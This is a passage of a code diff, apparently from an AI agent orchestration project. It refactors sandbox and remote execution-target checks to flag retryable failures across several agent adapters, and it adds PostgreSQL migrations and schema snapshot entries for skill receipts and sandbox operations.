const probeScript = `command -v ${shellQuote(command)}`;
|
||||
const result = await runner.execute({
|
||||
command: "sh",
|
||||
args: ["-c", probeScript],
|
||||
cwd: target.remoteCwd,
|
||||
env,
|
||||
timeoutMs: target.timeoutMs ?? 15_000,
|
||||
});
|
||||
const result = await runRemoteExecutionTargetCheck(
|
||||
target, `checking command "${command}" on sandbox target.`,
|
||||
() => runner.execute({
|
||||
command: "sh",
|
||||
args: ["-c", probeScript],
|
||||
cwd: target.remoteCwd,
|
||||
env,
|
||||
timeoutMs: target.timeoutMs ?? 15_000,
|
||||
}),
|
||||
);
|
||||
return {
|
||||
resolved: !result.timedOut && (result.exitCode ?? 1) === 0,
|
||||
timedOut: result.timedOut,
|
||||
resolved: result.exitCode === 0,
|
||||
stderr: result.stderr.trim(),
|
||||
};
|
||||
}
|
||||
@@ -772,15 +802,13 @@ async function ensureSandboxCommandResolvable(
|
||||
// SSH's buildSshSpawnTarget) so this and the hello probe agree on PATH.
|
||||
let probe = await probeSandboxCommandResolvable(command, target, env);
|
||||
if (probe.resolved) return;
|
||||
if (probe.timedOut) {
|
||||
throw new Error(`Timed out checking command "${command}" on sandbox target.`);
|
||||
}
|
||||
|
||||
// If the caller supplied an install command, attempt the install once via
|
||||
// the sandbox runner (which the sandbox provider wraps in a login shell)
|
||||
// and re-probe before reporting failure. This lets fresh sandbox leases
|
||||
// bring up the CLI before the resolvability gate, mirroring the test path.
|
||||
let installFailureDetail: string | null = null;
|
||||
let installUnavailable: Error | null = null;
|
||||
if (installCommand) {
|
||||
const runner = requireSandboxRunner(target);
|
||||
const installTimeoutMs =
|
||||
@@ -797,6 +825,9 @@ async function ensureSandboxCommandResolvable(
|
||||
});
|
||||
if (installResult.timedOut) {
|
||||
installFailureDetail = `install command timed out: ${installCommand}`;
|
||||
installUnavailable = executionTargetCheckUnavailable("The runtime installation timed out.");
|
||||
} else if (installResult.signal || installResult.exitCode === null) {
|
||||
installUnavailable = executionTargetCheckUnavailable("The runtime installation did not complete.");
|
||||
} else if ((installResult.exitCode ?? 0) !== 0) {
|
||||
const tail = (text: string) =>
|
||||
text.split(/\r?\n/).filter((line) => line.trim().length > 0).slice(-2).join(" | ").slice(0, 240);
|
||||
@@ -805,12 +836,11 @@ async function ensureSandboxCommandResolvable(
|
||||
}
|
||||
} catch (err) {
|
||||
installFailureDetail = `install command threw: ${err instanceof Error ? err.message : String(err)}`;
|
||||
installUnavailable = executionTargetCheckUnavailable("The runtime installation was unavailable.", err);
|
||||
}
|
||||
probe = await probeSandboxCommandResolvable(command, target, env);
|
||||
if (probe.resolved) return;
|
||||
if (probe.timedOut) {
|
||||
throw new Error(`Timed out checking command "${command}" on sandbox target.`);
|
||||
}
|
||||
if (installUnavailable) throw installUnavailable;
|
||||
}
|
||||
|
||||
const probeStderr = probe.stderr.length > 0 ? ` probe stderr: ${probe.stderr}` : "";
|
||||
@@ -1270,7 +1300,8 @@ export async function ensureAdapterExecutionTargetFile(
|
||||
* `mkdir -p` (when allowed) followed by a `[ -d ]` check so the result reflects
|
||||
* the directory state inside the environment, not on the Paperclip host.
|
||||
*
|
||||
* Throws an Error with a human-readable message on failure.
|
||||
* Throws an Error with a human-readable message on failure. Temporary target
|
||||
* failures carry a typed code so adapters can retain them as retryable checks.
|
||||
*/
|
||||
export async function ensureAdapterExecutionTargetDirectory(
|
||||
runId: string,
|
||||
@@ -1296,17 +1327,16 @@ export async function ensureAdapterExecutionTargetDirectory(
|
||||
? `mkdir -p ${quoted} && [ -d ${quoted} ]`
|
||||
: `[ -d ${quoted} ]`;
|
||||
|
||||
const result = await runAdapterExecutionTargetShellCommand(runId, target, script, {
|
||||
cwd: target.kind === "remote" ? target.remoteCwd : cwd,
|
||||
env: options.env,
|
||||
timeoutSec: options.timeoutSec ?? 15,
|
||||
graceSec: options.graceSec ?? 5,
|
||||
onLog: options.onLog,
|
||||
});
|
||||
|
||||
if (result.timedOut) {
|
||||
throw new Error(`Timed out checking working directory on remote target: "${cwd}"`);
|
||||
}
|
||||
const result = await runRemoteExecutionTargetCheck(
|
||||
target, `checking working directory on remote target: "${cwd}"`,
|
||||
() => runAdapterExecutionTargetShellCommand(runId, target, script, {
|
||||
cwd: target.remoteCwd,
|
||||
env: options.env,
|
||||
timeoutSec: options.timeoutSec ?? 15,
|
||||
graceSec: options.graceSec ?? 5,
|
||||
onLog: options.onLog,
|
||||
}),
|
||||
);
|
||||
if ((result.exitCode ?? 1) !== 0) {
|
||||
const detail = (result.stderr || result.stdout || "").trim();
|
||||
if (createIfMissing) {
|
||||
|
||||
@@ -308,6 +308,8 @@ export interface AdapterEnvironmentCheck {
|
||||
message: string;
|
||||
detail?: string | null;
|
||||
hint?: string | null;
|
||||
/** The check could not complete because its execution target was unavailable. */
|
||||
retryable?: boolean;
|
||||
}
|
||||
|
||||
export type AdapterEnvironmentTestStatus = "pass" | "warn" | "fail";
|
||||
|
||||
@@ -14,6 +14,7 @@ import {
|
||||
import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
runAdapterExecutionTargetProcess,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
resolveAdapterExecutionTargetCommandForLogs,
|
||||
@@ -114,6 +115,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "claude_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -168,6 +170,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "claude_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -11,6 +11,7 @@ import {
|
||||
import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
maybeRunSandboxInstallCommand,
|
||||
runAdapterExecutionTargetProcess,
|
||||
describeAdapterExecutionTarget,
|
||||
@@ -308,6 +309,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "codex_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -339,6 +341,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "codex_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -13,6 +13,7 @@ import {
|
||||
import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
maybeRunSandboxInstallCommand,
|
||||
runAdapterExecutionTargetProcess,
|
||||
describeAdapterExecutionTarget,
|
||||
@@ -119,6 +120,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "cursor_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -173,6 +175,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "cursor_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -16,6 +16,7 @@ import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
maybeRunSandboxInstallCommand,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
runAdapterExecutionTargetProcess,
|
||||
describeAdapterExecutionTarget,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
@@ -107,6 +108,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "gemini_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -141,6 +143,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "gemini_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -15,6 +15,7 @@ import {
|
||||
prepareAdapterExecutionTargetRuntime,
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
runAdapterExecutionTargetProcess,
|
||||
} from "@paperclipai/adapter-utils/execution-target";
|
||||
@@ -144,6 +145,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "grok_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -204,6 +206,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "grok_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -17,6 +17,7 @@ import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
maybeRunSandboxInstallCommand,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
runAdapterExecutionTargetProcess,
|
||||
describeAdapterExecutionTarget,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
@@ -156,6 +157,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "kimi_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -187,6 +189,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "kimi_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -19,6 +19,7 @@ import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
maybeRunSandboxInstallCommand,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
runAdapterExecutionTargetProcess,
|
||||
describeAdapterExecutionTarget,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
@@ -102,6 +103,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "opencode_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -219,6 +221,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "opencode_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -16,6 +16,7 @@ import {
|
||||
ensureAdapterExecutionTargetCommandResolvable,
|
||||
maybeRunSandboxInstallCommand,
|
||||
ensureAdapterExecutionTargetDirectory,
|
||||
isAdapterExecutionTargetUnavailableError,
|
||||
runAdapterExecutionTargetProcess,
|
||||
describeAdapterExecutionTarget,
|
||||
resolveAdapterExecutionTargetCwd,
|
||||
@@ -115,6 +116,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "pi_cwd_invalid",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Invalid working directory",
|
||||
detail: cwd,
|
||||
@@ -156,6 +158,7 @@ export async function testEnvironment(
|
||||
} catch (err) {
|
||||
checks.push({
|
||||
code: "pi_command_unresolvable",
|
||||
...(isAdapterExecutionTargetUnavailableError(err) ? { retryable: true } : {}),
|
||||
level: "error",
|
||||
message: err instanceof Error ? err.message : "Command is not executable",
|
||||
detail: command,
|
||||
|
||||
@@ -0,0 +1,19 @@
|
||||
CREATE TABLE IF NOT EXISTS "company_skill_mutation_receipts" (
|
||||
"company_id" uuid NOT NULL,
|
||||
"key" text NOT NULL,
|
||||
"fingerprint" text NOT NULL,
|
||||
"skill_id" uuid NOT NULL,
|
||||
"version_id" uuid NOT NULL,
|
||||
"response" jsonb NOT NULL,
|
||||
"created_at" timestamp with time zone DEFAULT now() NOT NULL
|
||||
);
|
||||
--> statement-breakpoint
|
||||
DO $$ BEGIN
|
||||
IF NOT EXISTS (SELECT 1 FROM pg_constraint
|
||||
WHERE conname = 'company_skill_mutation_receipts_company_id_companies_id_fk'
|
||||
AND conrelid = 'company_skill_mutation_receipts'::regclass) THEN
|
||||
ALTER TABLE "company_skill_mutation_receipts" ADD CONSTRAINT "company_skill_mutation_receipts_company_id_companies_id_fk" FOREIGN KEY ("company_id") REFERENCES "public"."companies"("id") ON DELETE cascade ON UPDATE no action;
|
||||
END IF;
|
||||
END $$;
|
||||
--> statement-breakpoint
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "company_skill_mutation_receipts_key_idx" ON "company_skill_mutation_receipts" USING btree ("company_id","key");
|
||||
@@ -0,0 +1,33 @@
|
||||
CREATE TABLE IF NOT EXISTS "sandbox_creation_operations" (
|
||||
"id" uuid PRIMARY KEY NOT NULL,
|
||||
"company_id" uuid NOT NULL,
|
||||
"environment_id" uuid,
|
||||
"original_environment_id" uuid NOT NULL,
|
||||
"run_id" uuid NOT NULL,
|
||||
"request_key" text DEFAULT 'run' NOT NULL,
|
||||
"issue_id" uuid,
|
||||
"execution_workspace_id" uuid,
|
||||
"provider" text NOT NULL,
|
||||
"plugin_id" uuid,
|
||||
"driver_key" text NOT NULL,
|
||||
"state" text DEFAULT 'pending' NOT NULL,
|
||||
"config" jsonb NOT NULL,
|
||||
"metadata" jsonb NOT NULL,
|
||||
"lease_id" uuid,
|
||||
"next_attempt_at" timestamp with time zone NOT NULL,
|
||||
"created_at" timestamp with time zone DEFAULT now() NOT NULL,
|
||||
"updated_at" timestamp with time zone DEFAULT now() NOT NULL
|
||||
);
|
||||
--> statement-breakpoint
|
||||
DO $$ BEGIN
|
||||
IF NOT EXISTS (
|
||||
SELECT 1 FROM pg_constraint
|
||||
WHERE conname = 'sandbox_creation_operations_environment_id_environments_id_fk'
|
||||
AND conrelid = 'sandbox_creation_operations'::regclass
|
||||
) THEN
|
||||
ALTER TABLE "sandbox_creation_operations" ADD CONSTRAINT "sandbox_creation_operations_environment_id_environments_id_fk" FOREIGN KEY ("environment_id") REFERENCES "public"."environments"("id") ON DELETE set null ON UPDATE no action;
|
||||
END IF;
|
||||
END $$;
|
||||
--> statement-breakpoint
|
||||
CREATE INDEX IF NOT EXISTS "sandbox_creation_operations_pending_deadline_idx" ON "sandbox_creation_operations" USING btree ("next_attempt_at") WHERE "sandbox_creation_operations"."state" = 'pending';--> statement-breakpoint
|
||||
CREATE UNIQUE INDEX IF NOT EXISTS "sandbox_creation_operations_owner_idx" ON "sandbox_creation_operations" USING btree ("company_id","original_environment_id","run_id","request_key");
|
||||
@@ -0,0 +1 @@
|
||||
ALTER TABLE "status_cards" ADD COLUMN "next_eval_reason" text;
|
||||
+317
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"id": "27c9008c-60e3-449b-9630-9e4977fad444",
|
||||
"prevId": "5690a14a-f9cc-41a6-af51-c27f688f4ef6",
|
||||
"id": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae",
|
||||
"prevId": "bbaeecd8-ff3f-4e70-a069-291bf3dc97bb",
|
||||
"version": "7",
|
||||
"dialect": "postgresql",
|
||||
"tables": {
|
||||
@@ -19052,6 +19052,98 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_skill_mutation_receipts": {
|
||||
"name": "company_skill_mutation_receipts",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"key": {
|
||||
"name": "key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"fingerprint": {
|
||||
"name": "fingerprint",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"skill_id": {
|
||||
"name": "skill_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"version_id": {
|
||||
"name": "version_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"response": {
|
||||
"name": "response",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true,
|
||||
"default": "now()"
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"company_skill_mutation_receipts_key_idx": {
|
||||
"name": "company_skill_mutation_receipts_key_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "key",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": true,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
"company_skill_mutation_receipts_company_id_companies_id_fk": {
|
||||
"name": "company_skill_mutation_receipts_company_id_companies_id_fk",
|
||||
"tableFrom": "company_skill_mutation_receipts",
|
||||
"tableTo": "companies",
|
||||
"columnsFrom": [
|
||||
"company_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "cascade",
|
||||
"onUpdate": "no action"
|
||||
}
|
||||
},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_skill_repository_snapshots": {
|
||||
"name": "company_skill_repository_snapshots",
|
||||
"schema": "",
|
||||
@@ -19079,7 +19171,46 @@
|
||||
"name": "file_inventory",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
"notNull": true,
|
||||
"default": "'[]'::jsonb"
|
||||
},
|
||||
"storage": {
|
||||
"name": "storage",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"upload": {
|
||||
"name": "upload",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"restore": {
|
||||
"name": "restore",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"migration_at": {
|
||||
"name": "migration_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"maintenance_at": {
|
||||
"name": "maintenance_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"restore_retry_at": {
|
||||
"name": "restore_retry_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"created_at": {
|
||||
"name": "created_at",
|
||||
@@ -19110,6 +19241,38 @@
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_snapshots_migration_idx": {
|
||||
"name": "company_skill_snapshots_migration_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "migration_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_snapshots_maintenance_idx": {
|
||||
"name": "company_skill_snapshots_maintenance_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "maintenance_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {
|
||||
@@ -19999,6 +20162,25 @@
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"package_snapshot_id": {
|
||||
"name": "package_snapshot_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"package_file_map": {
|
||||
"name": "package_file_map",
|
||||
"type": "jsonb",
|
||||
"primaryKey": false,
|
||||
"notNull": false
|
||||
},
|
||||
"migration_at": {
|
||||
"name": "migration_at",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": false,
|
||||
"default": "now()"
|
||||
},
|
||||
"revision_number": {
|
||||
"name": "revision_number",
|
||||
"type": "integer",
|
||||
@@ -20057,6 +20239,52 @@
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"company_skill_versions_migration_idx": {
|
||||
"name": "company_skill_versions_migration_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "migration_at",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"company_skill_versions\".\"migration_at\" is not null",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_package_snapshot_idx": {
|
||||
"name": "company_skill_versions_package_snapshot_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "package_snapshot_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_repository_snapshot_idx": {
|
||||
"name": "company_skill_versions_repository_snapshot_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "repository_snapshot_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"company_skill_versions_skill_revision_idx": {
|
||||
"name": "company_skill_versions_skill_revision_idx",
|
||||
"columns": [
|
||||
@@ -20168,6 +20396,19 @@
|
||||
"onDelete": "restrict",
|
||||
"onUpdate": "no action"
|
||||
},
|
||||
"company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": {
|
||||
"name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk",
|
||||
"tableFrom": "company_skill_versions",
|
||||
"tableTo": "company_skill_repository_snapshots",
|
||||
"columnsFrom": [
|
||||
"package_snapshot_id"
|
||||
],
|
||||
"columnsTo": [
|
||||
"id"
|
||||
],
|
||||
"onDelete": "restrict",
|
||||
"onUpdate": "no action"
|
||||
},
|
||||
"company_skill_versions_author_agent_id_agents_id_fk": {
|
||||
"name": "company_skill_versions_author_agent_id_agents_id_fk",
|
||||
"tableFrom": "company_skill_versions",
|
||||
@@ -20613,6 +20854,78 @@
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.skill_package_deletions": {
|
||||
"name": "skill_package_deletions",
|
||||
"schema": "",
|
||||
"columns": {
|
||||
"id": {
|
||||
"name": "id",
|
||||
"type": "uuid",
|
||||
"primaryKey": true,
|
||||
"notNull": true,
|
||||
"default": "gen_random_uuid()"
|
||||
},
|
||||
"company_id": {
|
||||
"name": "company_id",
|
||||
"type": "uuid",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"provider": {
|
||||
"name": "provider",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"archive_key": {
|
||||
"name": "archive_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"manifest_key": {
|
||||
"name": "manifest_key",
|
||||
"type": "text",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
},
|
||||
"delete_after": {
|
||||
"name": "delete_after",
|
||||
"type": "timestamp with time zone",
|
||||
"primaryKey": false,
|
||||
"notNull": true
|
||||
}
|
||||
},
|
||||
"indexes": {
|
||||
"skill_package_deletions_due_idx": {
|
||||
"name": "skill_package_deletions_due_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "delete_after",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
}
|
||||
},
|
||||
"foreignKeys": {},
|
||||
"compositePrimaryKeys": {},
|
||||
"uniqueConstraints": {},
|
||||
"policies": {},
|
||||
"checkConstraints": {},
|
||||
"isRLSEnabled": false
|
||||
},
|
||||
"public.company_transfer_runs": {
|
||||
"name": "company_transfer_runs",
|
||||
"schema": "",
|
||||
@@ -33849,7 +34162,7 @@
|
||||
}
|
||||
],
|
||||
"isUnique": false,
|
||||
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE",
|
||||
"where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE",
|
||||
"concurrently": false,
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
+539
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"id": "5690a14a-f9cc-41a6-af51-c27f688f4ef6",
|
||||
"prevId": "3b8bb508-028d-4154-abdd-af870f1f3ca6",
|
||||
"id": "c777fa84-85a6-418f-bea1-0d60b56cf071",
|
||||
"prevId": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae",
|
||||
"version": "7",
|
||||
"dialect": "postgresql",
|
||||
"tables": {
|
||||
@@ -1351,6 +1351,39 @@
|
||||
"method": "btree",
|
||||
"with": {}
|
||||
},
|
||||
"activity_log_company_entity_created_idx": {
|
||||
"name": "activity_log_company_entity_created_idx",
|
||||
"columns": [
|
||||
{
|
||||
"expression": "company_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "entity_type",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
||||
},
|
||||
{
|
||||
"expression": "entity_id",
|
||||
"isExpression": false,
|
||||
"asc": true,
|
||||
"nulls": "last"
|
